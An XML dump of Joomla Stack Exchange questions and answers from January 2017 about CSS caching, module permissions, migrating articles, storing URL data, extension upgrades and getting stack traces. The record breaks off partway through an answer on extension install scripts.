  <row Id="18842" PostTypeId="1" AcceptedAnswerId="18872" CreationDate="2017-01-13T20:27:36.013" Score="6" ViewCount="4114" Body="&lt;p&gt;I've encountered a strange problem that I've never seen before.&#xA;I edited a CSS file and uploaded it to my server. From my hosting's file manager, I can see the file is updated. But in my local computer, it is still the old version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cleared browser cache, I used another browser, I even switched to use my cellphone's browser, the CSS is still the old one. So I guess this is a server-side issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I logged-in to Joomla, and cleared all the cache I could find, but the file still won't update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So where could this cache be stored?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&#xA;Through Developer's tool, I click and open the css file in a new tab, it is here that I see the CSS file is still the old version. I pressed F5 to refresh this file in browser tab, normally this will force the browser to check if there is a newer version, but the file still won't upgrade, so this is definitely something else. PS: I am pretty sure I didn't mistake the file.&lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="126" LastEditDate="2017-02-25T06:55:31.757" LastActivityDate="2019-12-02T15:16:20.453" Title="CSS Change won't apply - Where could the cache be?" Tags="|css|cache|server|browser|cache-handler|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18843" PostTypeId="2" ParentId="18842" CreationDate="2017-01-14T06:19:29.480" Score="5" Body="&lt;blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Do you reach directly to the updated css file through your browser and you see the old css?&lt;/li&gt;&#xA;&lt;li&gt;Or you just don't see the changes taking effect&#xA;on your site?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h3&gt;Some suggestions for both scenarios:&lt;/h3&gt;&#xA;&lt;p&gt;&lt;strong&gt;A. Do you reach directly to the updated css file through your browser and you see the old css?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure the server/location you are FTP uploading, is the same with the one you are reaching at with HTTP.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Some webhosts provide speed-optimization features that cache the websites files - so make sure you are not a &amp;quot;victim&amp;quot; of such features.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check your &lt;code&gt;.htaccess&lt;/code&gt; for &lt;code&gt;mod_expires&lt;/code&gt; directives set too long.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check the possibility of using a CDN (e.g. Cloudflare) that is also caching your site.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try with hard-refresh - cache clearing on your browser.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;B. Or you just don't see the changes taking effect on your site?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The CSS you are editing isn't getting loaded for the page you are viewing.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The CSS changes you did, do not take precedence over other CSS styles.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The CSS changes you did, are not correct or do not apply on your HTML.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You have an extension or plugin that could be generating a final master compressed css by reading all the available css which might require you to clear its cache individually and force it to regenerate a new css. Or another 3rd party extension for speed-optimization, cache etc that is compressing or caching, or setting directives.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-01-14T14:01:09.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18845" PostTypeId="2" ParentId="18640" CreationDate="2017-01-14T14:44:48.473" Score="1" Body="&lt;p&gt;In recent Joomla versions (3.2 and later), modules come with a permissions tab, where you can set the following permissions per user-group:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Delete  &lt;/li&gt;&#xA;&lt;li&gt;Edit  &lt;/li&gt;&#xA;&lt;li&gt;Edit State  &lt;/li&gt;&#xA;&lt;li&gt;Front-end Editing  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nHaBr.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nHaBr.jpg&quot; alt=&quot;Edit Module - Permissions&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course you need a ACL organization in place - as if all of your editing users are Super-Users then you can't restrict them from accessing the module. &lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-01-20T07:37:40.060" LastActivityDate="2017-01-20T07:37:40.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18846" PostTypeId="1" CreationDate="2017-01-14T16:35:45.863" Score="0" ViewCount="60" Body="&lt;p&gt;Recently i purchase theme based on SP PageBuiler and description says it is included as Pro version. But SPpagebuilder forums required their subscription witch i of course don't have... And theme dev refuses to help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And actual problem is that i have accordion components on page, and Google sees them like user, only first one open. Is there a way to trick google engine to see whole page content? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some prices categorised in that accordions and of course it is looking way better collapsed, but seems like Google is blocking that solution. I want to use google highlighter tool and it cant do that also...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way around it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!!!&lt;/p&gt;&#xA;" OwnerUserId="9552" LastEditorUserId="126" LastEditDate="2017-01-19T13:46:46.850" LastActivityDate="2018-11-11T06:01:30.273" Title="SPpagebuilder accordion +Fetch as Google problem" Tags="|jquery|seo|google|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18847" PostTypeId="2" ParentId="18841" CreationDate="2017-01-14T19:09:43.903" Score="1" Body="&lt;p&gt;My advice is to use GitHub public releases API → &lt;a href=&quot;https://developer.github.com/v3/repos/releases/#get-the-latest-release&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.github.com/v3/repos/releases/#get-the-latest-release&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every single release of Joomla is here &lt;a href=&quot;https://github.com/joomla/joomla-cms/releases&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/releases&lt;/a&gt; so you can easily get info even about alpha/beta versions.&lt;/p&gt;&#xA;" OwnerUserId="9553" LastActivityDate="2017-01-14T19:09:43.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18848" PostTypeId="2" ParentId="18654" CreationDate="2017-01-14T19:14:02.947" Score="0" Body="&lt;p&gt;The easiest way is to store this data in #__user_profiles. My advise is to create you own user profile plugin, just copy paste existing Joomla! User plugin and extend XML by your new fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest advantage of this solutions is that you can easily get validation and enable/disable this fields in user registration process.&lt;/p&gt;&#xA;" OwnerUserId="9553" LastActivityDate="2017-01-14T19:14:02.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18849" PostTypeId="2" ParentId="18698" CreationDate="2017-01-14T19:18:26.917" Score="3" Body="&lt;p&gt;I just came across this issue again with another site and remembered what the problem is. This module is that it has changed the way it's loading its helper File/Class and the way the &lt;code&gt;helper.php&lt;/code&gt; file is loading the &lt;code&gt;ContentHelperRoute&lt;/code&gt; Class, so the &lt;code&gt;ContentHelperRoute&lt;/code&gt; isn't anymore available at the &lt;code&gt;default_items.php&lt;/code&gt; template file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once __DIR__ . '/helper.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;inside the mod_articles_categories.php to include the helper file and Class, and: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once JPATH_SITE . '/components/com_content/helpers/route.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;inside the helper.php, to include the &lt;code&gt;ContentHelperRoute&lt;/code&gt; file/Class, it now loads the said Classes with &lt;code&gt;JLoader::register();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this way the &lt;code&gt;ContentHelperRoute&lt;/code&gt; isn't available anymore in the &lt;code&gt;default_items.php&lt;/code&gt; where it's getting called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this bug, you can edit the mod_articles_categories.php and add this line after the &lt;code&gt;defined('_JEXEC') or die;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This is a bug as shown here:&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/13590&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/13590&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can apply the above fix to the mod_articles_categories.php and wait for the next Joomla release.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-01-16T07:25:41.773" LastActivityDate="2017-01-16T07:25:41.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18851" PostTypeId="1" AcceptedAnswerId="18888" CreationDate="2017-01-15T19:11:25.230" Score="0" ViewCount="479" Body="&lt;p&gt;On my XAMPP installation I install Joomla! 3.6.5 it gets to the database step, if I put in the wrong credentials it tells me so, if I put in the right credentials it does the loading screen.  See this screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sy0WX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sy0WX.png&quot; alt=&quot;Joomla! Loading Screen&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No database tables are ever created, no error message occurs, it just acts like it's loading for ages.  It doesn't get to the next screen where it shows the steps for creating a database etc.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My XAMPP has been edited to use port 81, so I have used localhost:81 in my server settings.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also moved my HTDOCS directory to another drive, and updated all the conf files accordingly using this tutorial &lt;a href=&quot;https://stackoverflow.com/questions/8847392/how-to-change-xampp-localhost-to-another-folder-outside-xampp-folder&quot;&gt;https://stackoverflow.com/questions/8847392/how-to-change-xampp-localhost-to-another-folder-outside-xampp-folder&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I edited php.ini so that memory_limit and max_execution_time was higher.  I also changed max_upload_size&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2017-11-16T12:01:29.533" Title="XAMPP Joomla! never gets past database step" Tags="|joomla-3.x|installation|xampp|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18852" PostTypeId="2" ParentId="18846" CreationDate="2017-01-16T09:37:03.353" Score="1" Body="&lt;p&gt;I am not exactly sure what is your problem - I guess you are concerned that Google can't see content that is &quot;hidden&quot; inside the accordion with the first eye.&lt;br&gt;&#xA;Note that content that is &quot;animated hidden&quot; with javascript inside sliders, tabs, accordions etc is usually accessible and available in the page. This can be the case even if it's ajax loaded content that is getting loaded with the click of a button-link, as Google can follow links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there can be cases that this content won't be accessible and available in the document, so Google crawler won't see it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some reasons for this is that content Google is restricted from reading javascript and other assets files that make the whole html page looks and behaves the way it does. Also if certain text/content is generated by javascript that Google isn't allowed to crawl then Google won't know what content your js code will produce to your page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to find out what is your case here. Start by reviewing via Google Webmasters Tools for what Google Crawler can see in your page and if there are assets that are restricted to access (usually via the robots.txt)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing you can do to see if the additional content that you are concerned about exists in your html, is to disable javascript and stylesheets on your browser and see only the html output - or check the source code of your page. Search if you can see the content in question inside your html. If you can see it there, then likely Google should be able to see it as well.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-01-16T09:37:03.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18853" PostTypeId="1" CreationDate="2017-01-16T10:39:47.897" Score="1" ViewCount="1179" Body="&lt;p&gt;We upgraded our Joomla sites from 3.4.8 to 3.6.5 a while ago and it looks like the default behavior on how the alias for &lt;strong&gt;Menu Item Type [Menu Item Alias]&lt;/strong&gt; is generated has changed. And this is either a bug or a deliberate change as others are also having this &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=930035&quot; rel=&quot;nofollow noreferrer&quot;&gt;issue&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On 3.4.8, when I create a Menu Item Alias for 'Page 1' with a alias/slug 'page-1', it would simply autogenerate a timestamp as the alias.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On 3.6.5, if I create a Menu Item Alias for menu item 'Page 1', it tries to create an alias 'page-1', which is already used by the menu item I am creating an alias to and hence it throws a duplicate alias error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this change documented anywhere so that I can see the reasoning behind it? Or is this a bug?&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="112" LastEditDate="2017-01-16T21:32:31.913" LastActivityDate="2017-12-06T09:29:06.653" Title="Duplicate Menu Item Alias in Joomla 3.6.5" Tags="|menu-item|joomla-3.6|bugs|alias|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18856" PostTypeId="1" AcceptedAnswerId="18896" CreationDate="2017-01-16T11:41:39.833" Score="5" ViewCount="1433" Body="&lt;p&gt;I &lt;em&gt;really&lt;/em&gt; need a stacktrace instead of a stupid &quot;Error 0: Could not connect to MySQL&quot;. I've set debugging to on and error reporting to max. Any idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: Temporary solution: Hacking Joomla core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2&lt;/strong&gt;: To be precise, add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;pre&amp;gt;'; echo $this-&amp;gt;error; echo $this-&amp;gt;renderBacktrace(); echo '&amp;lt;/pre&amp;gt;'; die;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;code&gt;render()&lt;/code&gt; in libraries/joomla/document/error.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 3&lt;/strong&gt;: Since the namespace change, &lt;code&gt;error.php&lt;/code&gt; has changed location to here: &lt;code&gt;libraries/src/Document/ErrorDocument.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7077" LastEditorUserId="7077" LastEditDate="2019-07-24T12:15:29.080" LastActivityDate="2019-07-24T12:15:29.080" Title="Get a stacktrace instead of error 0" Tags="|debug|error-reporting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18857" PostTypeId="1" CreationDate="2017-01-16T13:51:19.533" Score="2" ViewCount="38" Body="&lt;p&gt;Is there a way to check when a component/plugin was updated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a problem with my Joomla installation and I updated a component/plugin soon, but cannot remember which and when.. &lt;/p&gt;&#xA;" OwnerUserId="8127" LastActivityDate="2017-01-16T21:57:03.277" Title="When a Component/Plugin was updated" Tags="|component|plugin|extensions|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18860" PostTypeId="2" ParentId="18857" CreationDate="2017-01-16T21:57:03.277" Score="2" Body="&lt;p&gt;There is no such house-keeping info stored in the database - although sometimes I have wished that too. However you should be able to get a clue by checking the creation date of the files/folders via FTP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An recently updated/installed extension, or recently uploaded/modified files will have a newer file date.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-01-16T21:57:03.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18861" PostTypeId="1" CreationDate="2017-01-16T23:57:10.000" Score="2" ViewCount="2837" Body="&lt;p&gt;I am trying to copy content from an old joomla instance to a new joomla instance.&#xA;We archived the old site and created a completely new site with the same version of joomla both sites are at 3.6.4. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the new site has been built and the client wants to import 5000 articles (out of about 7000) from the old site to the new site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed j2xml but had a lot of issues. First I could not export the all the articles php/apache could not deal with that many post variables. So I broke it up into chunks&#xA;I spent yesterday importing the chunks. After completion a quick article count showed only half of the actual articles managed to import. There were other import issues along the way such as failed imports with no errors, failed user creation, only some of the articles being created etc. etc  which meant I spent the whole day on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I want to go back to first principles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What steps do I have to follow to copy the content from the old site to the new site using sql?&lt;/p&gt;&#xA;" OwnerUserId="8982" LastEditorUserId="126" LastEditDate="2017-01-19T13:45:57.900" LastActivityDate="2017-01-20T07:42:00.200" Title="Copy partial site content from old site to new site" Tags="|joomla-3.x|mysql|com-content|migration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18862" PostTypeId="2" ParentId="18861" CreationDate="2017-01-17T00:26:24.083" Score="1" Body="&lt;p&gt;It would be simpler if you would have asked before building a new website, as me personally I would have suggested you to copy the old database and build over there.&lt;/p&gt;&#xA;&lt;p&gt;Now there more things to consider with more important the article ids and their assets. There are still more extensions that make transfers of joomla data between websites - but the number of articles you want to transfer is big, and it might not be easy to use them.&lt;/p&gt;&#xA;&lt;p&gt;Moreover, I guess you have created new articles, menu items, to create your new pages - relationships of the tables in the database are now changed new ids, assets, menu items, tags and who know what else...&lt;/p&gt;&#xA;&lt;p&gt;So there can be a mess if you just import data from the old database.&lt;/p&gt;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&lt;p&gt;@DeveloperChris - I see.&lt;/p&gt;&#xA;&lt;p&gt;Check also the extensions proposed by Neil in the other answer - although it might not be easy again to handle that big number of articles.&lt;/p&gt;&#xA;&lt;p&gt;How easy is the whole content transfer, depends on the differences between the 2 sites (categories, menu items, article ids, tags etc) and the exact expected result you want to achieve (e.g. keep old URLs, keep same associations with other data, etc)&lt;/p&gt;&#xA;&lt;p&gt;Maybe create a new clone of the new website with a new database and start transferring there items  as per your needs. Tables you might need are the &lt;code&gt;#__content&lt;/code&gt; of course, &lt;code&gt;#__assets&lt;/code&gt;, the one that is associates tags with articles etc.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-01-20T07:42:00.200" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18863" PostTypeId="1" CreationDate="2017-01-17T07:50:04.703" Score="0" ViewCount="234" Body="&lt;p&gt;I just came through a scenario regarding joomla website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The scenario is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Data in URL is passed to Joomla website and from the URL Joomla must store the data into the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible in Joomla?&lt;/p&gt;&#xA;" OwnerUserId="3640" LastEditorUserId="126" LastEditDate="2017-01-17T19:18:20.940" LastActivityDate="2017-01-17T19:18:20.940" Title="Store data from URL in Joomla website database" Tags="|joomla-3.x|development|plugin|database|url|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18864" PostTypeId="2" ParentId="18861" CreationDate="2017-01-17T11:50:46.013" Score="0" Body="&lt;p&gt;Maybe not the answer you are looking for but I'd try another transfer extension such as &lt;a href=&quot;https://extensions.joomla.org/extensions/extension/migration-a-conversion/data-import-a-export/sp-transfer&quot; rel=&quot;nofollow noreferrer&quot;&gt;SP Transfer&lt;/a&gt; which seems fairly well regarded in the JED or there may be something else suitable in the &lt;a href=&quot;https://extensions.joomla.org/category/migration-a-conversion/data-import-a-export&quot; rel=&quot;nofollow noreferrer&quot;&gt;Data Import &amp;amp; Export category&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't used SP Transfer myself but if it works the same way as SP Upgrade, it will handle a large number of articles and can be restarted from where it left off if the transfer times out etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SP Transfer can also copy categories, tags, menus and other items which may save you some time.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-01-17T11:50:46.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18865" PostTypeId="1" AcceptedAnswerId="18884" CreationDate="2017-01-17T12:10:12.143" Score="0" ViewCount="291" Body="&lt;p&gt;I have a multilingual Joomla 3.6.5. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how can I create a sitemap for the installed languages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that extensions exist for doing that, but if you don't want to use it how is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remember correct since J1.7 there's not a subfolder for each language, so how do you provide the correct sitemap for the languages you have in Google for example?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDITED&lt;/strong&gt;&#xA;I realise that my first question wasn't clear enough.I'll Try to make it more specific.I had a JSite in old version 1.5, i create a new one in J3.6.5. In Google Webmaster Tools they were set up like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) thedomain.com as the default language and&#xA;2) thedomain.com/en as the alternate for the english language which it was in subfolder named en&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course they had their own sitemap.&#xA;Now in J3.6 which is multilingual i have to set up the new site maps. For the default language it's OK. I put it in the root on my server and it's working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for the english version there isn't an en subfolder, so how do i declare the sitemap for that version? &#xA;GWT wants the sitemap for that version to be in &lt;a href=&quot;http://thedomain.com/en&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://thedomain.com/en&lt;/a&gt; &#xA;Do i have to configure somehow the GWT domain for that version or do i have to do something else? That's my problem actually.&lt;/p&gt;&#xA;" OwnerUserId="7864" LastEditorUserId="7864" LastEditDate="2017-01-18T13:41:57.043" LastActivityDate="2017-01-18T13:41:57.043" Title="Multilingual Site Map joomla" Tags="|extensions|seo|multilingual|google|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18866" PostTypeId="1" AcceptedAnswerId="18875" CreationDate="2017-01-17T14:05:44.250" Score="0" ViewCount="184" Body="&lt;p&gt;I'm developing a component for Joomla 3.6.4. The component includes some custom SQL tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'd like to add more tables in another version of the same component, but it seems like there's no way to update a component using a ZIP-file.   Correct? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I try to install the component anew, it runs the old SQL install script, and causes primary key errors. Any tips would be helpful. Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: My installation SQL code contains &lt;code&gt;INSERT&lt;/code&gt; statements that caused problems with primary key collisions. These lines should only be executed once.&lt;/p&gt;&#xA;" OwnerUserId="7077" LastEditorUserId="7077" LastEditDate="2017-01-18T09:35:50.357" LastActivityDate="2017-01-18T09:54:50.353" Title="Update extension using zip file" Tags="|component|extensions|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18867" PostTypeId="1" CreationDate="2017-01-17T14:12:23.323" Score="1" ViewCount="595" Body="&lt;p&gt;Is there anyway to uninstall an extension (force), even if there are errors during the process like folder not found etc...&lt;/p&gt;&#xA;" OwnerUserId="7077" LastEditorUserId="9673" LastEditDate="2017-02-18T09:16:57.567" LastActivityDate="2018-01-14T16:07:03.720" Title="Force uninstallation of extension" Tags="|extensions|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18869" PostTypeId="2" ParentId="18867" CreationDate="2017-01-17T16:28:51.770" Score="0" Body="&lt;p&gt;If it's a folder not found, then just create the folder manually. You can always download the extension and extract it and then uninstall it.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-01-17T16:28:51.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18870" PostTypeId="2" ParentId="18863" CreationDate="2017-01-17T16:30:28.273" Score="1" Body="&lt;p&gt;You will need to develop a system plugin for that. The system plugin will grab the URL, parses the data that you need, and then store it in a table of your choice.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-01-17T16:30:28.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18872" PostTypeId="2" ParentId="18842" CreationDate="2017-01-17T16:45:43.543" Score="3" Body="&lt;p&gt;Some really cheap and oversold hosts tend to cache asset files (images, JS files, CSS files) for a long time. Check in a few hours to see if the file was updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, and assuming you cleared your browser cache, then quite possibly you are looking at the wrong file or it might be that you the file transfer of the CSS file failed (permission issues?), but you didn't notice that, and so your changes never took effect (this is a very common problem with developers by the way).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-01-17T16:45:43.543" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18873" PostTypeId="2" ParentId="18842" CreationDate="2017-01-17T16:50:51.937" Score="-2" Body="&lt;p&gt;Try to browse the css file directly to your browser and check if that is the updated one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, then you are loading a different file.&lt;/p&gt;&#xA;" OwnerUserId="9561" LastActivityDate="2017-01-17T16:50:51.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18874" PostTypeId="2" ParentId="18863" CreationDate="2017-01-17T19:17:28.747" Score="2" Body="&lt;p&gt;You can get the value of a URL parameter with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$value = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('parameter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can use &lt;code&gt;JDatabaseQuery&lt;/code&gt; to insert data into the database.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Retrieving_request_data_using_JInput&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-01-17T19:17:28.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18875" PostTypeId="2" ParentId="18866" CreationDate="2017-01-17T19:50:16.913" Score="3" Body="&lt;p&gt;I am not sure what you mean when you say: &quot;it seems like there's no way to update a component using a ZIP-file&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually you create your extension's package. &#xA;In your &#xA;&lt;code&gt;myextension.xml&lt;/code&gt; file you have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;install type=&quot;component&quot; version=&quot;1.5&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Always use &lt;code&gt;method=&quot;upgrade&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then later in your &lt;code&gt;myextension.xml&lt;/code&gt; you define your install.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;installfile&amp;gt;install.myextension.php&amp;lt;/installfile&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your &lt;code&gt;install.myextension.php&lt;/code&gt; you write your code that you wanna run during the installation/update of your extension - do all checking about existing installation and the version of it, and conditionally run code to apply any changes - including alterations to the database tables - changes which usually you include in a &lt;code&gt;install.sql&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your sql file will have your DB statements - for 